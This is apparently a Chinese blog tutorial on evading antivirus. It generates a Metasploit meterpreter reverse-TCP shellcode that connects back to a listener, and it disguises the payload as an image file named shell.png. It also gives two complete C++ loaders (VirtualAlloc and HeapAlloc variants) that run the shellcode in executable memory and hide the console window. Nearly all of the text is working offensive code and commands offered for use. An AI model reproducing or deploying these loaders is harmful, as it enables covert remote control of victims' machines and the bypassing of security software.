linux源码免杀,免杀shellcode 2020/11/29 VirtualAlloc&HeapAlloc

编译环境VS2019

Kali Linux 2020.3

VirusTotal 检测

运行截图

食用步骤

1、msfvenom生成shellcoderoot@kali:~/Desktop# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f raw -o shell.png

2、编译可执行文件

VirtualAlloc#include

#include

#include

#include

// 让控制台程序后台运行

#pragma comment(linker, "/subsystem:windows /entry:mainCRTStartup")

int main()

{

FILE* fp;

size_t size;

unsigned char* buffer;

errno_t err;

err = fopen_s(&fp, "shell.png", "rb");

if (fp && !err)

{

fseek(fp, 0, SEEK_END);

size = ftell(fp);

fseek(fp, 0, SEEK_SET);

buffer = (unsigned char*)malloc(size);

if (buffer != NULL)

{

fread(buffer, size, 1, fp);

void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (exec != NULL)

{

memcpy(exec, buffer, size);

((void(*) ())exec)();

}

}

}

else

{

std::cout << "could not open file" << std::endl;

}

return 0;

}

HeapAlloc#include

#include

#include

#include

// 让控制台程序后台运行

#pragma comment(linker, "/subsystem:windows /entry:mainCRTStartup")

int main()

{

FILE* fp;

size_t size;

unsigned char* buffer;

errno_t err;

err = fopen_s(&fp, "shell.png", "rb");

if (fp && !err)

{

fseek(fp, 0, SEEK_END);

size = ftell(fp);

fseek(fp, 0, SEEK_SET);

buffer = (unsigned char*)malloc(size);

if (buffer != NULL)

{

fread(buffer, size, 1, fp);

HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);

PVOID Mptr = HeapAlloc(hHep, 0, size);

RtlCopyMemory(Mptr, buffer, size);

DWORD dwThreadId = 0;

HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);

WaitForSingleObject(hThread, INFINITE);

}

}

else

{

std::cout << "could not open file" << std::endl;

}

return 0;

}

3、将编译的可执行文件与shell.png文件放在同一目录下，运行编译的可执行文件。